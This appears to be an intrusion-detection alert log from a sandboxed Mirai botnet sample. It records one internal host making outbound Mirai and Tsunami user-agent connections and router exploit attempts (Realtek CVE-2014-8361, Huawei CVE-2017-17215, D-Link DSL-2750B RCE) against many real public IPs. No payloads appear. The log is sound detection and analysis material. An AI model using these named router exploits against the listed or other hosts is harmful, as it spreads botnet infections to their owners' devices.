Timestamp:	192.168.2.2389.33.237.14935768802846457 10/23/22-17:58:32.888660
SID:	2846457
Source Port:	35768
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.242.183.54

Timestamp:	192.168.2.23178.242.183.5448310802846380 10/23/22-17:57:29.196463
SID:	2846380
Source Port:	48310
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.194.104.229

Timestamp:	192.168.2.2382.194.104.22949784802846380 10/23/22-17:58:06.153292
SID:	2846380
Source Port:	49784
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.221.240.89

Timestamp:	192.168.2.2388.221.240.8948366802027121 10/23/22-17:58:36.463499
SID:	2027121
Source Port:	48366
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.216.179.41

Timestamp:	192.168.2.2395.216.179.4142042802027121 10/23/22-17:56:48.803851
SID:	2027121
Source Port:	42042
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 45.135.122.38

Timestamp:	192.168.2.2345.135.122.3860300802841623 10/23/22-17:57:46.472229
SID:	2841623
Source Port:	60300
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 188.138.163.224

Timestamp:	192.168.2.23188.138.163.22451372802846457 10/23/22-17:57:00.253988
SID:	2846457
Source Port:	51372
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 2.218.110.53

Timestamp:	192.168.2.232.218.110.5346692802846457 10/23/22-17:57:50.386273
SID:	2846457
Source Port:	46692
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.124.247.6

Timestamp:	192.168.2.2395.124.247.656950802027121 10/23/22-17:57:34.925735
SID:	2027121
Source Port:	56950
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.17.140.16

Timestamp:	192.168.2.2385.17.140.1638068802846457 10/23/22-17:57:41.186656
SID:	2846457
Source Port:	38068
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 188.226.242.28

Timestamp:	192.168.2.23188.226.242.2847018802846457 10/23/22-17:57:47.809135
SID:	2846457
Source Port:	47018
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.188.195.184

Timestamp:	192.168.2.23213.188.195.18451004802846380 10/23/22-17:57:18.575363
SID:	2846380
Source Port:	51004
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.124.66.58

Timestamp:	192.168.2.23112.124.66.5838904802027121 10/23/22-17:56:58.157811
SID:	2027121
Source Port:	38904
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.199.88.138

Timestamp:	192.168.2.2388.199.88.13848756802027121 10/23/22-17:57:21.093414
SID:	2027121
Source Port:	48756
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.198.77.253

Timestamp:	192.168.2.2382.198.77.25354220802846380 10/23/22-17:58:06.175330
SID:	2846380
Source Port:	54220
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.92.111.135

Timestamp:	192.168.2.2385.92.111.13534280802846457 10/23/22-17:58:17.678157
SID:	2846457
Source Port:	34280
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 78.230.187.43

Timestamp:	192.168.2.2378.230.187.4353298802846457 10/23/22-17:58:28.643775
SID:	2846457
Source Port:	53298
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 195.216.39.58

Timestamp:	192.168.2.23195.216.39.5836876802846457 10/23/22-17:58:30.763687
SID:	2846457
Source Port:	36876
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.64.185.160

Timestamp:	192.168.2.2382.64.185.16054456802846380 10/23/22-17:57:54.175536
SID:	2846380
Source Port:	54456
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.251.225.201

Timestamp:	192.168.2.2389.251.225.20148082802846457 10/23/22-17:58:32.892637
SID:	2846457
Source Port:	48082
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 61.6.200.142

Timestamp:	192.168.2.2361.6.200.14240702802846457 10/23/22-17:57:20.919307
SID:	2846457
Source Port:	40702
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.209.229.164

Timestamp:	192.168.2.2388.209.229.16442788802027121 10/23/22-17:56:51.064127
SID:	2027121
Source Port:	42788
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.104.29.208

Timestamp:	192.168.2.2395.104.29.20848330802027121 10/23/22-17:58:07.403642
SID:	2027121
Source Port:	48330
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 37.77.74.25

Timestamp:	192.168.2.2337.77.74.2554966528692027339 10/23/22-17:58:30.489822
SID:	2027339
Source Port:	54966
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.85.21.60

Timestamp:	192.168.2.2380.85.21.6055272802846457 10/23/22-17:57:09.771575
SID:	2846457
Source Port:	55272
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.9.26.92

Timestamp:	192.168.2.2385.9.26.9258688802846457 10/23/22-17:58:17.716270
SID:	2846457
Source Port:	58688
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.165.71.128

Timestamp:	192.168.2.2382.165.71.12838202802846380 10/23/22-17:58:06.174589
SID:	2846380
Source Port:	38202
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 197.166.86.138

Timestamp:	192.168.2.23197.166.86.13836714802841623 10/23/22-17:56:55.865563
SID:	2841623
Source Port:	36714
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.222.146.19

Timestamp:	192.168.2.2385.222.146.1942650802846457 10/23/22-17:57:16.979034
SID:	2846457
Source Port:	42650
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 122.201.66.60

Timestamp:	192.168.2.23122.201.66.6058952802846457 10/23/22-17:58:35.080206
SID:	2846457
Source Port:	58952
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.101.201.99

Timestamp:	192.168.2.2395.101.201.9950354802027121 10/23/22-17:57:12.971445
SID:	2027121
Source Port:	50354
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.149.93.120

Timestamp:	192.168.2.235.149.93.12047320802846457 10/23/22-17:57:35.685100
SID:	2846457
Source Port:	47320
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.94.202.149

Timestamp:	192.168.2.2385.94.202.14941872802846457 10/23/22-17:58:26.402400
SID:	2846457
Source Port:	41872
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.96.178.220

Timestamp:	192.168.2.2388.96.178.22050648802027121 10/23/22-17:57:52.320435
SID:	2027121
Source Port:	50648
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.133.103.72

Timestamp:	192.168.2.235.133.103.7253228802846457 10/23/22-17:57:35.659143
SID:	2846457
Source Port:	53228
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.9.198.19

Timestamp:	192.168.2.235.9.198.1949044802846457 10/23/22-17:56:55.093874
SID:	2846457
Source Port:	49044
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 188.65.18.110

Timestamp:	192.168.2.23188.65.18.11042522802846457 10/23/22-17:57:47.821744
SID:	2846457
Source Port:	42522
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.205.193.48

Timestamp:	192.168.2.235.205.193.4854026802846457 10/23/22-17:57:35.654428
SID:	2846457
Source Port:	54026
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 122.116.94.92

Timestamp:	192.168.2.23122.116.94.9237090802835221 10/23/22-17:57:28.658822
SID:	2835221
Source Port:	37090
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.63.249

Timestamp:	192.168.2.23156.241.63.24946378802835222 10/23/22-17:57:58.955977
SID:	2835222
Source Port:	46378
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.208.249.163

Timestamp:	192.168.2.2388.208.249.16341294802027121 10/23/22-17:57:13.368317
SID:	2027121
Source Port:	41294
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 46.101.143.105

Timestamp:	192.168.2.2346.101.143.10554114802846457 10/23/22-17:58:23.966848
SID:	2846457
Source Port:	54114
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.198.127.141

Timestamp:	192.168.2.2388.198.127.14154030802027121 10/23/22-17:57:21.283853
SID:	2027121
Source Port:	54030
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 79.143.177.117

Timestamp:	192.168.2.2379.143.177.11741010802835221 10/23/22-17:57:01.100624
SID:	2835221
Source Port:	41010
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 61.239.169.109

Timestamp:	192.168.2.2361.239.169.10942960802846457 10/23/22-17:58:02.984285
SID:	2846457
Source Port:	42960
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 216.197.110.249

Timestamp:	192.168.2.23216.197.110.24958620802835222 10/23/22-17:58:32.149349
SID:	2835222
Source Port:	58620
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.27.82.15

Timestamp:	192.168.2.23213.27.82.1533414802846380 10/23/22-17:56:58.268393
SID:	2846380
Source Port:	33414
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 35.76.110.77

Timestamp:	192.168.2.2335.76.110.7749512802841623 10/23/22-17:57:43.028125
SID:	2841623
Source Port:	49512
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.105.33.49

Timestamp:	192.168.2.2395.105.33.4943682802027121 10/23/22-17:58:37.516252
SID:	2027121
Source Port:	43682
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.168.225.76

Timestamp:	192.168.2.2395.168.225.7651838802027121 10/23/22-17:57:23.621204
SID:	2027121
Source Port:	51838
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 188.127.227.5

Timestamp:	192.168.2.23188.127.227.537096802846457 10/23/22-17:58:17.689048
SID:	2846457
Source Port:	37096
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 2.21.167.178

Timestamp:	192.168.2.232.21.167.17850914802846457 10/23/22-17:57:50.347635
SID:	2846457
Source Port:	50914
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 164.46.38.214

Timestamp:	192.168.2.23164.46.38.21440992802846457 10/23/22-17:56:52.405053
SID:	2846457
Source Port:	40992
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 156.234.29.107

Timestamp:	192.168.2.23156.234.29.10749996802835221 10/23/22-17:57:16.579158
SID:	2835221
Source Port:	49996
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 181.212.129.40

Timestamp:	192.168.2.23181.212.129.4058548802846380 10/23/22-17:57:25.375918
SID:	2846380
Source Port:	58548
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.86.106.14

Timestamp:	192.168.2.2395.86.106.1436922802027121 10/23/22-17:57:33.493683
SID:	2027121
Source Port:	36922
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 46.167.244.73

Timestamp:	192.168.2.2346.167.244.7350194802846457 10/23/22-17:58:15.369700
SID:	2846457
Source Port:	50194
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 46.227.228.123

Timestamp:	192.168.2.2346.227.228.12348044802846457 10/23/22-17:58:23.919255
SID:	2846457
Source Port:	48044
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.131.48.141

Timestamp:	192.168.2.2395.131.48.14152828802027121 10/23/22-17:58:37.349008
SID:	2027121
Source Port:	52828
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 142.217.11.136

Timestamp:	192.168.2.23142.217.11.1363890475472835222 10/23/22-17:57:04.158370
SID:	2835222
Source Port:	38904
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.159.151.191

Timestamp:	192.168.2.2388.159.151.19138070802027121 10/23/22-17:57:31.198661
SID:	2027121
Source Port:	38070
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.182.248.8

Timestamp:	192.168.2.235.182.248.853140802846457 10/23/22-17:57:35.592639
SID:	2846457
Source Port:	53140
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 176.31.131.50

Timestamp:	192.168.2.23176.31.131.5048328802841623 10/23/22-17:57:42.978234
SID:	2841623
Source Port:	48328
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 103.122.247.124

Timestamp:	192.168.2.23103.122.247.12445666802841623 10/23/22-17:57:55.522647
SID:	2841623
Source Port:	45666
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.100.200.19

Timestamp:	192.168.2.2395.100.200.1951046802027121 10/23/22-17:57:10.331083
SID:	2027121
Source Port:	51046
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 169.197.105.125

Timestamp:	192.168.2.23169.197.105.12555642802846380 10/23/22-17:56:58.117829
SID:	2846380
Source Port:	55642
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.115.221.7

Timestamp:	192.168.2.2385.115.221.758258802846457 10/23/22-17:57:41.272377
SID:	2846457
Source Port:	58258
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 188.93.57.226

Timestamp:	192.168.2.23188.93.57.22634070802846457 10/23/22-17:58:07.975888
SID:	2846457
Source Port:	34070
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 164.138.115.152

Timestamp:	192.168.2.23164.138.115.15240572528692027339 10/23/22-17:57:22.360224
SID:	2027339
Source Port:	40572
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.139.90.68

Timestamp:	192.168.2.23213.139.90.6856982802846380 10/23/22-17:56:39.207635
SID:	2846380
Source Port:	56982
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 84.113.79.178

Timestamp:	192.168.2.2384.113.79.17847614802846457 10/23/22-17:58:15.349677
SID:	2846457
Source Port:	47614
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.100.149.205

Timestamp:	192.168.2.2395.100.149.20560382802027121 10/23/22-17:57:16.182795
SID:	2027121
Source Port:	60382
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 144.76.31.147

Timestamp:	192.168.2.23144.76.31.1473692480802841623 10/23/22-17:57:46.449872
SID:	2841623
Source Port:	36924
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.74.203.182

Timestamp:	192.168.2.23112.74.203.18250200802027121 10/23/22-17:58:25.658198
SID:	2027121
Source Port:	50200
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.251.51.226

Timestamp:	192.168.2.235.251.51.22643580802846457 10/23/22-17:57:03.002530
SID:	2846457
Source Port:	43580
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.142.91.241

Timestamp:	192.168.2.2395.142.91.24144480802027121 10/23/22-17:57:13.187469
SID:	2027121
Source Port:	44480
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 110.43.204.82

Timestamp:	192.168.2.23110.43.204.8247202802846457 10/23/22-17:57:43.762005
SID:	2846457
Source Port:	47202
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 61.241.44.13

Timestamp:	192.168.2.2361.241.44.1348008802846457 10/23/22-17:57:50.923581
SID:	2846457
Source Port:	48008
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.179.132.228

Timestamp:	192.168.2.2395.179.132.22838894802027121 10/23/22-17:57:12.973047
SID:	2027121
Source Port:	38894
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 195.29.82.23

Timestamp:	192.168.2.23195.29.82.2341586802846457 10/23/22-17:57:59.916298
SID:	2846457
Source Port:	41586
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.216.184.216

Timestamp:	192.168.2.2395.216.184.21635280802027121 10/23/22-17:57:54.640552
SID:	2027121
Source Port:	35280
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.112.35.111

Timestamp:	192.168.2.2388.112.35.11135672802027121 10/23/22-17:58:29.914258
SID:	2027121
Source Port:	35672
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.123.142.85

Timestamp:	192.168.2.23200.123.142.8537142802846380 10/23/22-17:57:58.047528
SID:	2846380
Source Port:	37142
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.102.76.108

Timestamp:	192.168.2.23213.102.76.10854104802846380 10/23/22-17:58:33.254434
SID:	2846380
Source Port:	54104
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.79.109.204

Timestamp:	192.168.2.2395.79.109.20452060802027121 10/23/22-17:57:16.196003
SID:	2027121
Source Port:	52060
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.116.124.114

Timestamp:	192.168.2.2385.116.124.11460230802846457 10/23/22-17:57:31.285712
SID:	2846457
Source Port:	60230
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.239.222.9

Timestamp:	192.168.2.23178.239.222.953806802846380 10/23/22-17:56:49.757764
SID:	2846380
Source Port:	53806
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.216.187.195

Timestamp:	192.168.2.2388.216.187.19551932802027121 10/23/22-17:58:10.243378
SID:	2027121
Source Port:	51932
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.183.48.174

Timestamp:	192.168.2.23200.183.48.17441148802846380 10/23/22-17:57:43.908593
SID:	2846380
Source Port:	41148
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 122.249.243.234

Timestamp:	192.168.2.23122.249.243.23437700802846457 10/23/22-17:58:20.130052
SID:	2846457
Source Port:	37700
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.151.86.199

Timestamp:	192.168.2.2380.151.86.19950792802846457 10/23/22-17:58:13.019043
SID:	2846457
Source Port:	50792
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.79.144.33

Timestamp:	192.168.2.23178.79.144.3344066802846380 10/23/22-17:57:55.407757
SID:	2846380
Source Port:	44066
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.241.201.90

Timestamp:	192.168.2.2385.241.201.9042092802846457 10/23/22-17:58:37.542131
SID:	2846457
Source Port:	42092
Destination Port:	80
Protocol:	TCP
